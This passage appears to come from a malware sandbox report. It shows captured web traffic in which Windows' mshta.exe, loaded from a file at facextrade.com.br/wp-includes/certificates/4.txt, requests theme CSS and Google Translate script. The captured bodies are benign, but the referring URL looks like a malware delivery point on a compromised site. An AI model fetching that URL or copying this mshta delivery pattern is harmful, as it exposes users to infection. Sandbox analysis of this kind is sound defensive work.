                                                                                      Aug 16, 2022 11:39:32.320943117 CEST1585INData Raw: 4e 6f 64 65 26 26 28 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 65 72 72 6f 72 22 2c 22 6c 6f 61 64 2d 66 61 69 6c 65 64 22 29 2c 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 61 2e 63
                                                                                      Data Ascii: Node&&(this.setAttribute("data-error","load-failed"),n.parentNode.replaceChild(a.createTextNode(n.alt),n))}},"object"==typeof e.imgAttr&&(t.attributes=function(){return e.imgAttr}),n.parse(u,t)):u}return l&&(l.DOMReady?s():l.readyCallback=s),{
                                                                                      Aug 16, 2022 11:39:32.323611975 CEST1585OUTGET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:32.540421009 CEST1589INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:39:32 GMT
                                                                                      Server: Apache
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:35:52 GMT
                                                                                      ETag: "a4f99b-7abe-58592ebd6de00"
                                                                                      Accept-Ranges: bytes
                                                                                      Content-Length: 31422
                                                                                      Connection: close
                                                                                      Content-Type: text/css
                                                                                      Data Raw: 2f 2a 20 23 53 68 6f 72 74 63 6f 64 65 73 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2a 2f 0a 2f 2a 20 52 65 63 65 6e 74 20 50 6f 73 74 73 20 53 68 6f 72 74 63 6f 64 65 73 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 20 7b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 30 20 2d 32 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 0a 20 20 2f 2a 20 49 6d 61 67 65 73 20 46 6f 72 6d 61 74 20 54 79 70 65 20 2a 2f 0a 20 20 2f 2a 20 51 75 6f 74 65 20 46 6f 72 6d 61 74 20 54 79 70 65 20 2a 2f 0a 20 20 2f 2a 20 4c 69 6e 6b 20 46 6f 72 6d 61 74 20 54 79 70 65 20 2a 2f 0a 20 20 2f 2a 20 41 75 64 69 6f 20 46 6f 72 6d 61 74 20 54 79 70 65 20 2a 2f 0a 20 20 2f 2a 20 56 69 64 65 6f 20 46 6f 72 6d 61 74 20 54 79 70 65 20 2a 2f 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 32 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 0a 20 20 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 2e 66 65 61 74 75 72 65 64 2d 74 68 75 6d 62 6e 61 69 6c 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 32 30 70 78 20 30 20 30 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 68 35 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 2e 65 78 63 65 72 70 74 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 2e 35 65 6d 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 2e 6d 65 74 61 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 2e 35 65 6d 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 38 38 38 3b 0a 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 75 70 70 65 72 63 61 73 65 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 2e 70 6f 73 74 2d 64 61 74 65 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 2e 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 20 2e 66 6f 72 6d 61 74 2d 69 6d 61 67 65 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 32 30 70 78 20 32 30 70 78 20 30 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 20 2e 66 6f 72 6d 61 74 2d 61 75 64 69 6f 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 65 6d 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 20
                                                                                      Data Ascii: /* #Shortcodes================================================== *//* Recent Posts Shortcodes---------------------------------------- */.recent-posts { overflow: hidden; margin: 0 0 0 -20px !important; padding: 0; border: none; list-style: none; /* Images Format Type */ /* Quote Format Type */ /* Link Format Type */ /* Audio Format Type */ /* Video Format Type */}.recent-posts_li { margin: 0 0 20px 20px; padding: 0; border: none; background: none; list-style-type: none;}.recent-posts_li .featured-thumbnail { float: left; margin: 0 20px 0 0;}.recent-posts_li h5 { margin-bottom: 0; font-size: 1em;}.recent-posts_li .excerpt { margin-bottom: 1.5em;}.recent-posts_li .meta { display: block; overflow: hidden; margin-bottom: .5em; color: #888; text-transform: uppercase; font-size: 10px;}.recent-posts_li .post-date { float: left;}.recent-posts_li .post-comments { float: right;}.recent-posts .format-image { float: left; margin: 0 20px 20px 0;}.recent-posts .format-audio { margin-bottom: 2em;}.recent-posts
                                                                                      Aug 16, 2022 11:39:32.540461063 CEST1590INData Raw: 2e 66 6f 72 6d 61 74 2d 61 75 64 69 6f 20 2e 61 75 64 69 6f 2d 77 72 61 70 70 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 2e 35 65 6d 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 20 2e 66 6f 72 6d 61 74 2d 76 69 64 65
                                                                                      Data Ascii: .format-audio .audio-wrapper { margin-bottom: .5em;}.recent-posts .format-video { float: left; width: 300px;}/* Popular Posts Shortcode---------------------------------------- */.popular-posts li { overflow: hidden; margin: 0;


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      9192.168.2.349754187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:32.317696095 CEST1572OUTGET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:32.536355019 CEST1587INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:39:32 GMT
                                                                                      Server: Apache
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:39:19 GMT
                                                                                      ETag: "a4faed-680-58592f82d6fc0"
                                                                                      Accept-Ranges: bytes
                                                                                      Content-Length: 1664
                                                                                      Connection: close
                                                                                      Content-Type: text/css
                                                                                      Data Raw: 2f 2a 0a 2a 20 09 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 4f 77 6c 20 44 65 6d 6f 20 54 68 65 6d 65 20 0a 2a 09 76 31 2e 32 34 0a 2a 2f 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 7b 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2f 2a 20 53 74 79 6c 69 6e 67 20 4e 65 78 74 20 61 6e 64 20 50 72 65 76 20 62 75 74 74 6f 6e 73 20 2a 2f 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 62 75 74 74 6f 6e 73 20 64 69 76 7b 0a 09 63 6f 6c 6f 72 3a 20 23 46 46 46 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 7a 6f 6f 6d 3a 20 31 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 2f 2a 49 45 37 20 6c 69 66 65 2d 73 61 76 65 72 20 2a 2f 0a 09 6d 61 72 67 69 6e 3a 20 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 33 70 78 20 31 30 70 78 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 30 70 78 3b 0a 09 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 30 70 78 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 38 36 39 37 39 31 3b 0a 09 66 69 6c 74 65 72 3a 20 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 35 30 29 3b 2f 2a 49 45 37 20 66 69 78 2a 2f 0a 09 6f 70 61 63 69 74 79 3a 20 30 2e 35 3b 0a 7d 0a 2f 2a 20 43 6c 69 63 6b 61 62 6c 65 20 63 6c 61 73 73 20 66 69 78 20 70 72 6f 62 6c 65 6d 20 77 69 74 68 20 68 6f 76 65 72 20 6f 6e 20 74 6f 75 63 68 20 64 65 76 69 63 65 73 20 2a 2f 0a 2f 2a 20 55 73 65 20 69 74 20 66 6f 72 20 6e 6f 6e 2d 74 6f 75 63 68 20 68 6f 76 65 72 20 61 63 74 69 6f 6e 20 2a 2f 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 2e 63 6c 69 63 6b 61 62 6c 65 20 2e 6f 77 6c 2d 62 75 74 74 6f 6e 73 20 64 69 76 3a 68 6f 76 65 72 7b 0a 09 66 69 6c 74 65 72 3a 20 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 31 30 30 29 3b 2f 2a 49 45 37 20 66 69 78 2a 2f 0a 09 6f 70 61 63 69 74 79 3a 20 31 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2f 2a 20 53 74 79 6c 69 6e 67 20 50 61 67 69 6e 61 74 69 6f 6e 2a 2f 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 7a 6f 6f 6d 3a 20 31 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 2f 2a 49 45 37 20 6c 69 66 65 2d 73 61 76 65 72 20 2a 2f 0a 7d 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 20 73 70 61 6e 7b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 77 69 64 74 68 3a 20 31 32 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 35 70 78 20 37 70 78 3b 0a 09 66 69 6c 74 65 72 3a 20 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 35 30 29 3b 2f 2a 49 45 37 20 66 69 78 2a 2f 0a 09 6f 70 61 63 69 74 79 3a 20 30 2e 35 3b 0a 09 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 30 70 78 3b 0a 09 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 30 70 78 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20
                                                                                      Data Ascii: /** Owl Carousel Owl Demo Theme *v1.24*/.owl-theme .owl-controls{margin-top: 10px;text-align: center;}/* Styling Next and Prev buttons */.owl-theme .owl-controls .owl-buttons div{color: #FFF;display: inline-block;zoom: 1;*display: inline;/*IE7 life-saver */margin: 5px;padding: 3px 10px;font-size: 12px;-webkit-border-radius: 30px;-moz-border-radius: 30px;border-radius: 30px;background: #869791;filter: Alpha(Opacity=50);/*IE7 fix*/opacity: 0.5;}/* Clickable class fix problem with hover on touch devices *//* Use it for non-touch hover action */.owl-theme .owl-controls.clickable .owl-buttons div:hover{filter: Alpha(Opacity=100);/*IE7 fix*/opacity: 1;text-decoration: none;}/* Styling Pagination*/.owl-theme .owl-controls .owl-page{display: inline-block;zoom: 1;*display: inline;/*IE7 life-saver */}.owl-theme .owl-controls .owl-page span{display: block;width: 12px;height: 12px;margin: 5px 7px;filter: Alpha(Opacity=50);/*IE7 fix*/opacity: 0.5;-webkit-border-radius: 20px;-moz-border-radius: 20px;border-radius:
                                                                                      Aug 16, 2022 11:39:32.536401987 CEST1587INData Raw: 32 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 38 36 39 37 39 31 3b 0a 7d 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 2e 61 63 74 69 76 65 20 73 70 61 6e 2c 0a 2e 6f 77
                                                                                      Data Ascii: 20px;background: #869791;}.owl-theme .owl-controls .owl-page.active span,.owl-theme .owl-controls.clickable .owl-page:hover span{filter: Alpha(Opacity=100);/*IE7 fix*/opacity: 1;}/* If PaginationNumbers is true */.owl-theme .owl


                                                                                      HTTPS Proxied Packets

                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      0192.168.2.349750142.250.181.238443C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      2022-08-16 09:39:30 UTC0OUTGET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Connection: Keep-Alive
                                                                                      Host: translate.google.com
                                                                                      2022-08-16 09:39:30 UTC0INHTTP/1.1 200 OK
                                                                                      Content-Type: text/javascript; charset=utf-8
                                                                                      Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                      Pragma: no-cache
                                                                                      Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                      Date: Tue, 16 Aug 2022 09:39:30 GMT
                                                                                      Cross-Origin-Resource-Policy: cross-origin
                                                                                      Cross-Origin-Opener-Policy: same-origin-allow-popups
                                                                                      Server: ESF
                                                                                      X-XSS-Protection: 0
                                                                                      X-Frame-Options: SAMEORIGIN
                                                                                      X-Content-Type-Options: nosniff
                                                                                      Set-Cookie: CONSENT=PENDING+898; expires=Thu, 15-Aug-2024 09:39:30 GMT; path=/; domain=.google.com; Secure
                                                                                      P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
                                                                                      Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                      Accept-Ranges: none
                                                                                      Vary: Accept-Encoding
                                                                                      Connection: close
                                                                                      Transfer-Encoding: chunked
                                                                                      2022-08-16 09:39:30 UTC1INData Raw: 38 30 30 30 0d 0a 0a 20 20 20 20 2f 2f 20 67 6f 2f 6d 73 73 2d 73 65 74 75 70 23 37 2d 6c 6f 61 64 2d 74 68 65 2d 6a 73 2d 6f 72 2d 63 73 73 2d 66 72 6f 6d 2d 79 6f 75 72 2d 69 6e 69 74 69 61 6c 2d 70 61 67 65 0a 20 20 20 20 69 66 28 21 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 29 20 7b 0a 20 20 20 20 20 20 63 6f 6e 73 74 20 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 20 3d 20 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 20 7c 7c 20 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 65 3b 0a 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 20 3d 20 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 3b 0a 20 20
                                                                                      Data Ascii: 8000 // go/mss-setup#7-load-the-js-or-css-from-your-initial-page if(!window['_DumpException']) { const _DumpException = window['_DumpException'] || function(e) { throw e; }; window['_DumpException'] = _DumpException;
                                                                                      2022-08-16 09:39:30 UTC1INData Raw: 54 72 61 63 65 29 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 28 74 68 69 73 2c 5f 2e 62 61 29 3b 65 6c 73 65 7b 76 61 72 20 63 3d 45 72 72 6f 72 28 29 2e 73 74 61 63 6b 3b 63 26 26 28 74 68 69 73 2e 73 74 61 63 6b 3d 63 29 7d 61 26 26 28 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 53 74 72 69 6e 67 28 61 29 29 3b 76 6f 69 64 20 30 21 3d 3d 62 26 26 28 74 68 69 73 2e 63 61 75 73 65 3d 62 29 7d 3b 63 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 5f 2e 71 2e 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 61 3b 7d 2c 30 29 7d 3b 5f 2e 64 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 2e 50 26 26 61 2e 50 28 29 7d 3b 66 61 3d 66 75 6e 63 74 69
                                                                                      Data Ascii: Trace)Error.captureStackTrace(this,_.ba);else{var c=Error().stack;c&&(this.stack=c)}a&&(this.message=String(a));void 0!==b&&(this.cause=b)};ca=function(a){_.q.setTimeout(function(){throw a;},0)};_.da=function(a){a&&"function"==typeof a.P&&a.P()};fa=functi
                                                                                      2022-08-16 09:39:30 UTC2INData Raw: 28 29 7b 76 61 72 20 61 3d 5f 2e 71 2e 6e 61 76 69 67 61 74 6f 72 3b 72 65 74 75 72 6e 20 61 26 26 28 61 3d 61 2e 75 73 65 72 41 67 65 6e 74 29 3f 61 3a 22 22 7d 3b 5f 2e 75 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 2d 31 21 3d 5f 2e 44 61 28 29 2e 69 6e 64 65 78 4f 66 28 61 29 7d 3b 0a 5f 2e 45 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 75 28 22 54 72 69 64 65 6e 74 22 29 7c 7c 5f 2e 75 28 22 4d 53 49 45 22 29 7d 3b 5f 2e 46 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 75 28 22 69 50 68 6f 6e 65 22 29 26 26 21 5f 2e 75 28 22 69 50 6f 64 22 29 26 26 21 5f 2e 75 28 22 69 50 61 64 22 29 7d 3b 5f 2e 47 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 46 61 28 29 7c 7c 5f 2e 75 28 22
                                                                                      Data Ascii: (){var a=_.q.navigator;return a&&(a=a.userAgent)?a:""};_.u=function(a){return-1!=_.Da().indexOf(a)};_.Ea=function(){return _.u("Trident")||_.u("MSIE")};_.Fa=function(){return _.u("iPhone")&&!_.u("iPod")&&!_.u("iPad")};_.Ga=function(){return _.Fa()||_.u("
                                                                                      2022-08-16 09:39:30 UTC4INData Raw: 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 22 29 3b 7d 3b 53 61 3d 52 61 28 74 68 69 73 29 3b 0a 54 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 29 61 3a 7b
                                                                                      Data Ascii: ect"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};Sa=Ra(this);Ta=function(a,b){if(b)a:{
                                                                                      2022-08-16 09:39:30 UTC5INData Raw: 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 72 65 74 75 72 6e 20 62 3f 62 2e 63 61 6c 6c 28 61 29 3a 7b 6e 65 78 74 3a 50 61 28 61 29 7d 7d 3b 5f 2e 57 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 2c 63 3d 5b 5d 3b 21 28 62 3d 61 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 63 2e 70 75 73 68 28 62 2e 76 61 6c 75 65 29 3b 72 65 74 75 72 6e 20 63 7d 3b 58 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 3b 0a
                                                                                      Data Ascii: mbol.iterator&&a[Symbol.iterator];return b?b.call(a):{next:Pa(a)}};_.Wa=function(a){for(var b,c=[];!(b=a.next()).done;)c.push(b.value);return c};Xa="function"==typeof Object.create?Object.create:function(a){var b=function(){};b.prototype=a;return new b};
                                                                                      2022-08-16 09:39:30 UTC6INData Raw: 7b 74 68 69 73 2e 6c 28 6d 29 7d 7d 7d 74 68 69 73 2e 67 3d 6e 75 6c 6c 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 74 68 69 73 2e 6a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 67 3b 0a 7d 29 7d 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 74 68 69 73 2e 67 3d 30 3b 74 68 69 73 2e 6a 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 68 3d 5b 5d 3b 74 68 69 73 2e 43 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6c 28 29 3b 74 72 79 7b 67 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 67 28 6d 29 7b 72 65 74 75 72 6e 20 66
                                                                                      Data Ascii: {this.l(m)}}}this.g=null};b.prototype.l=function(g){this.j(function(){throw g;})};var e=function(g){this.g=0;this.j=void 0;this.h=[];this.C=!1;var k=this.l();try{g(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.l=function(){function g(m){return f
                                                                                      2022-08-16 09:39:30 UTC8INData Raw: 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 2c 67 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 21 31 2c 21 30 2c 67 29 29 3b 67 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 67 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 6a 3b 72 65 74 75 72 6e 20 6c 28 67 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 49 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 75 6c 6c 21 3d 74 68 69 73 2e 68 29 7b 66 6f 72 28 76 61 72 20 67 3d 30 3b 67 3c 74 68 69 73 2e 68 2e 6c 65 6e 67 74 68 3b 2b 2b 67 29 66 2e 68 28 74 68 69 73 2e 68 5b 67 5d 29 3b 74 68 69 73 2e 68 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6e 61 3d 66 75 6e 63 74 69
                                                                                      Data Ascii: reateEvent("CustomEvent"),g.initCustomEvent("unhandledrejection",!1,!0,g));g.promise=this;g.reason=this.j;return l(g)};e.prototype.I=function(){if(null!=this.h){for(var g=0;g<this.h.length;++g)f.h(this.h[g]);this.h=null}};var f=new b;e.prototype.na=functi
